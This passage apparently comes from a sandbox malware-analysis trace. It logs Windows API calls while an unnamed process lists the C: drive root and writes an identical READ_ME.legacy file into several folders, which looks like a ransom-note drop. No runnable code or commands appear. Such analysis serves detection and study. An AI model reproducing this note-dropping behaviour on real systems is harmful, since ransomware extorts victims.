lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x448 [0066.376] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b70 | out: hHeap=0x520000) returned 1 [0066.376] WriteFile (in: hFile=0x448, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0066.377] CloseHandle (hObject=0x448) returned 1 [0066.380] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578890 | out: hHeap=0x520000) returned 1 [0066.380] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d190 | out: hHeap=0x520000) returned 1 [0066.380] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d140 | out: hHeap=0x520000) returned 1 [0066.380] FindNextFileW (in: hFindFile=0x553260, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x7ef2dddf, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x7ef2dddf, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3d7ebe9, ftLastWriteTime.dwHighDateTime=0x1d4d600, nFileSizeHigh=0x0, nFileSizeLow=0x332fe000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0066.380] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5339a8 | out: hHeap=0x520000) returned 1 [0066.380] GetLastError () returned 0x0 [0066.380] SetLastError (dwErrCode=0x0) [0066.380] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5339a8 [0066.380] GetLastError () returned 0x0 [0066.380] SetLastError (dwErrCode=0x0) [0066.380] GetLastError () returned 0x0 [0066.380] SetLastError (dwErrCode=0x0) [0066.380] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571c48 [0066.380] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571c48 | out: hHeap=0x520000) returned 1 [0066.380] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571c48 [0066.380] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x18) returned 0x534ff8 [0066.380] FindNextFileW (in: hFindFile=0x553260, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdf1d773, ftCreationTime.dwHighDateTime=0x1d1a04f, ftLastAccessTime.dwLowDateTime=0xa03727f1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xfd9ec80, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Logs", cAlternateFileName="")) returned 1 [0066.380] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5339a8 | out: hHeap=0x520000) returned 1 [0066.380] GetLastError () returned 0x0 [0066.380] SetLastError (dwErrCode=0x0) [0066.380] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5339a8 [0066.380] GetLastError () returned 0x0 [0066.380] SetLastError (dwErrCode=0x0) [0066.380] GetLastError () returned 0x0 [0066.381] SetLastError (dwErrCode=0x0) [0066.381] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571d10 [0066.381] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d140 [0066.381] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d240 [0066.381] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5783c8 [0066.381] GetLastError () returned 0x0 [0066.381] SetLastError (dwErrCode=0x0) [0066.381] GetLastError () returned 0x0 [0066.381] SetLastError (dwErrCode=0x0) [0066.381] GetLastError () returned 0x0 [0066.381] SetLastError (dwErrCode=0x0) [0066.381] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b70 [0066.381] CreateFileW (lpFileName="\\Logs\\READ_ME.legacy" (normalized: "c:\\logs\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x448 [0066.404] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b70 | out: hHeap=0x520000) returned 1 [0066.404] WriteFile (in: hFile=0x448, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0066.407] CloseHandle (hObject=0x448) returned 1 [0066.407] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5783c8 | out: hHeap=0x520000) returned 1 [0066.407] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d240 | out: hHeap=0x520000) returned 1 [0066.407] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d140 | out: hHeap=0x520000) returned 1 [0066.407] FindNextFileW (in: hFindFile=0x553260, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6e97b025, ftCreationTime.dwHighDateTime=0x1d3275c, ftLastAccessTime.dwLowDateTime=0x6e97b025, ftLastAccessTime.dwHighDateTime=0x1d3275c, ftLastWriteTime.dwLowDateTime=0x47384f2, ftLastWriteTime.dwHighDateTime=0x1d4d600, nFileSizeHigh=0x0, nFileSizeLow=0x28000000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0066.408] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5339a8 | out: hHeap=0x520000) returned 1 [0066.408] GetLastError () returned 0x0 [0066.408] SetLastError (dwErrCode=0x0) [0066.408] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5339a8 [0066.408] GetLastError () returned 0x0 [0066.408] SetLastError (dwErrCode=0x0) [0066.409] GetLastError () returned 0x0 [0066.409] SetLastError (dwErrCode=0x0) [0066.409] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571b58 [0066.409] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571b58 | out: hHeap=0x520000) returned 1 [0066.409] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571ae0 [0066.409] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x18) returned 0x534d18 [0066.409] FindNextFileW (in: hFindFile=0x553260, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa03748ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17b3dd09, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0066.410] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5339a8 | out: hHeap=0x520000) returned 1 [0066.410] GetLastError () returned 0x0 [0066.410] SetLastError (dwErrCode=0x0) [0066.410] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5339a8 [0066.410] GetLastError () returned 0x0 [0066.410] SetLastError (dwErrCode=0x0) [0066.411] GetLastError () returned 0x0 [0066.411] SetLastError (dwErrCode=0x0) [0066.411] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571d60 [0066.411] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571d38 [0066.411] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571d60 | out: hHeap=0x520000) returned 1 [0066.411] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571d38 | out: hHeap=0x520000) returned 1 [0066.411] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571b58 [0066.412] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571d38 [0066.412] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571d60 [0066.412] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d130 [0066.412] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d190 [0066.412] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578f50 [0066.413] GetLastError () returned 0x0 [0066.413] SetLastError (dwErrCode=0x0) [0066.413] GetLastError () returned 0x0 [0066.413] SetLastError (dwErrCode=0x0) [0066.413] GetLastError () returned 0x0 [0066.413] SetLastError (dwErrCode=0x0) [0066.413] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578cc8 [0066.414] CreateFileW (lpFileName="\\PerfLogs\\READ_ME.legacy" (normalized: "c:\\perflogs\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x448 [0066.423] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578cc8 | out: hHeap=0x520000) returned 1 [0066.423] WriteFile (in: hFile=0x448, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0066.424] CloseHandle (hObject=0x448) returned 1 [0066.424] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578f50 | out: hHeap=0x520000) returned 1 [0066.424] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d190 | out: hHeap=0x520000) returned 1 [0066.424] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d130 | out: hHeap=0x520000) returned 1 [0066.424] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571d60 | out: hHeap=0x520000) returned 1 [0066.424] FindNextFileW (in: hFindFile=0x553260, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x9904c687, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0x9904c687, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0066.424] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5339a8 | out: hHeap=0x520000) returned 1 [0066.424] GetLastError () returned 0x0 [0066.425] SetLastError (dwErrCode=0x0) [0066.425] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5339a8 [0066.425] GetLastError () returned 0x0 [0066.425] SetLastError (dwErrCode=0x0) [0066.425] GetLastError () returned 0x0 [0066.425] SetLastError (dwErrCode=0x0) [0066.425] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571d60 [0066.425] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571978 [0066.425] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571d60 | out: hHeap=0x520000) returned 1 [0066.425] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571978 | out: hHeap=0x520000) returned 1 [0066.425] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b70 [0066.425] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571978 [0066.425] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d818 [0066.425] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d818 | out: hHeap=0x520000) returned 1 [0066.425] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x571d60 [0066.425] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x5399a8 [0066.425] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x552fe0 [0066.425] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x552fe0 | out: hHeap=0x520000) returned 1 [0066.426] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5399a8 | out: hHeap=0x520000) returned 1 [0066.426] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571d60 | out: hHeap=0x520000) returned 1 [0066.426] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571978 | out: hHeap=0x520000) returned 1 [0066.426] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b70 | out: hHeap=0x520000) returned 1 [0066.426] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x5398e0 [0066.426] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x5399d0 [0066.426] FindNextFileW (in: hFindFile=0x553260, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe7511354, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe7511354, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 1 [0066.426] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5339a8 | out: hHeap=0x520000) returned 1 [0066.426] GetLastError () returned 0x0 [0066.426] SetLastError (dwErrCode=0x0) [0066.426] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5339a8 [0066.426] GetLastError () returned 0x0 [0066.426] SetLastError (dwErrCode=0x0) [0066.426] GetLastError () returned 0x0 [0066.426] SetLastError (dwErrCode=0x0) [0066.426] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b70 [0066.426] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574d30 [0066.426] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b70 | out: hHeap=0x520000) returned 1 [0066.426] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574d30 | out: hHeap=0x520000) returned 1 [0066.427] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574d30 [0066.427] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574cf8 [0066.427] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56da28 [0066.427] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56da28 | out: hHeap=0x520000) returned 1 [0066.427] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574cf8 | out: hHeap=0x520000) returned 1 [0066.427] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574d30 | out: hHeap=0x520000) returned 1 [0066.427] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574d30 [0066.427] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x539a48 [0066.427] FindNextFileW (in: hFindFile=0x553260, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x450f4738, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x450f4738, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 1 [0066.427] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5339a8 | out: hHeap=0x520000) returned 1 [0066.427] GetLastError () returned 0x0 [0066.427] SetLastError (dwErrCode=0x0) [0066.427] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5339a8 [0066.427] GetLastError () returned 0x0 [0066.427] SetLastError (dwErrCode=0x0) [0066.427] GetLastError () returned 0x0 [0066.427] SetLastError (dwErrCode=0x0) [0066.427] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x539ac0 [0066.427] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x5399a8 [0066.428] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x539ac0 | out: hHeap=0x520000) returned 1 [0066.428] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5399a8 | out: hHeap=0x520000) returned 1 [0066.428] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574d68 [0066.428] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x539b10 [0066.428] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d088 [0066.428] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d088 | out: hHeap=0x520000) returned 1 [0066.428] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x539ac0 [0066.428] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x539b38 [0066.428] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x553160 [0066.428] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553160 | out: hHeap=0x520000) returned 1 [0066.428] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x5399a8 [0066.428] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x5466d8 [0066.428] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5466d8 | out: hHeap=0x520000) returned 1 [0066.428] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5399a8 | out: hHeap=0x520000) returned 1 [0066.428] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x539b38 | out: hHeap=0x520000) returned 1 [0066.428] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x539ac0 | out: hHeap=0x520000) returned 1 [0066.428] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x539b10 | out: hHeap=0x520000) returned 1 [0066.428] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574d68 | out: hHeap=0x520000) returned 1 [0066.428] FindNextFileW (in: hFindFile=0x553260, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28e9c3a2, ftCreationTime.dwHighDateTime=0x1d32795, ftLastAccessTime.dwLowDateTime=0x1044dfc5, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x1044dfc5, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Recovery", cAlternateFileName="")) returned 1 [0066.428] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5339a8 | out: hHeap=0x520000) returned 1 [0066.428] GetLastError () returned 0x0 [0066.429] SetLastError (dwErrCode=0x0) [0066.429] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5339a8 [0066.429] GetLastError () returned 0x0 [0066.429] SetLastError (dwErrCode=0x0) [0066.429] GetLastError () returned 0x0 [0066.429] SetLastError (dwErrCode=0x0) [0066.429] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x539b38 [0066.429] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x5399a8 [0066.429] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x539b38 | out: hHeap=0x520000) returned 1 [0066.429] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5399a8 | out: hHeap=0x520000) returned 1 [0066.429] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x5399a8 [0066.429] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x539ac0 [0066.429] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x539b10 [0066.429] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d250 [0066.429] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0c0 [0066.429] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578338 [0066.430] GetLastError () returned 0x0 [0066.430] SetLastError (dwErrCode=0x0) [0066.430] GetLastError () returned 0x0 [0066.430] SetLastError (dwErrCode=0x0) [0066.430] GetLastError () returned 0x0 [0066.430] SetLastError (dwErrCode=0x0) [0066.430] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5787b8 [0066.430] CreateFileW (lpFileName="\\Recovery\\READ_ME.legacy" (normalized: "c:\\recovery\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x448 [0066.905] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5787b8 | out: hHeap=0x520000) returned 1 [0066.905] WriteFile (in: hFile=0x448, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0066.907] CloseHandle (hObject=0x448) returned 1 [0066.907] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578338 | out: hHeap=0x520000) returned 1 [0066.907] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0c0 | out: hHeap=0x520000) returned 1 [0066.908] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d250 | out: hHeap=0x520000) returned 1 [0066.908] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x539b10 | out: hHeap=0x520000) returned 1 [0066.908] FindNextFileW (in: hFindFile=0x553260, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6ead2556, ftCreationTime.dwHighDateTime=0x1d3275c, ftLastAccessTime.dwLowDateTime=0x6ead2556, ftLastAccessTime.dwHighDateTime=0x1d3275c, ftLastWriteTime.dwLowDateTime=0x47384f2, ftLastWriteTime.dwHighDateTime=0x1d4d600, nFileSizeHigh=0x0, nFileSizeLow=0x10000000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="swapfile.sys", cAlternateFileName="")) returned 1 [0066.908] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5339a8 | out: hHeap=0x520000) returned 1 [0066.908] GetLastError () returned 0x0 [0066.908] SetLastError (dwErrCode=0x0) [0066.908] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5339a8 [0066.908] GetLastError () returned 0x0 [0066.908] SetLastError (dwErrCode=0x0) [0066.908] GetLastError () returned 0x0 [0066.908] SetLastError (dwErrCode=0x0) [0066.908] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x539b10 [0066.908] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x539b10 | out: hHeap=0x520000) returned 1 [0066.908] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x539b10 [0066.908] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x18) returned 0x534c78 [0066.908] FindNextFileW (in: hFindFile=0x553260, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x6e16f135, ftCreationTime.dwHighDateTime=0x1d3275c, ftLastAccessTime.dwLowDateTime=0xb1ff7ba5, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xb1ff7ba5, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="System Volume Information", cAlternateFileName="SYSTEM~1")) returned 1 [0066.908] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5339a8 | out: hHeap=0x520000) returned 1 [0066.908] GetLastError () returned 0x0 [0066.909] SetLastError (dwErrCode=0x0) [0066.909] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5339a8 [0066.909] GetLastError () returned 0x0 [0066.909] SetLastError (dwErrCode=0x0) [0066.909] GetLastError () returned 0x0 [0066.909] SetLastError (dwErrCode=0x0) [0066.909] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5789b0 [0066.909] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578578 [0066.909] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5789b0 | out: hHeap=0x520000) returned 1 [0066.909] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578578 | out: hHeap=0x520000) returned 1 [0066.909] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578380 [0066.909] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x539b38 [0066.909] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578218 [0066.909] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d080 [0066.909] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d240 [0066.909] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578890 [0066.910] GetLastError () returned 0x0 [0066.910] SetLastError (dwErrCode=0x0) [0066.910] GetLastError () returned 0x0 [0066.910] SetLastError (dwErrCode=0x0) [0066.910] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0066.910] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578890 | out: hHeap=0x520000) returned 1 [0066.910] GetLastError () returned 0x0 [0066.910] SetLastError (dwErrCode=0x0) [0066.910] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556cc0 [0066.910] CreateFileW (lpFileName="\\System Volume Information\\READ_ME.legacy" (normalized: "c:\\system volume information\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0066.911] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556cc0 | out: hHeap=0x520000) returned 1 [0066.911] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0066.911] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d240 | out: hHeap=0x520000) returned 1 [0066.911] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d080 | out: hHeap=0x520000) returned 1 [0066.911] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578218 | out: hHeap=0x520000) returned 1 [0066.911] FindNextFileW (in: hFindFile=0x553260, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x475bb883, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475bb883, 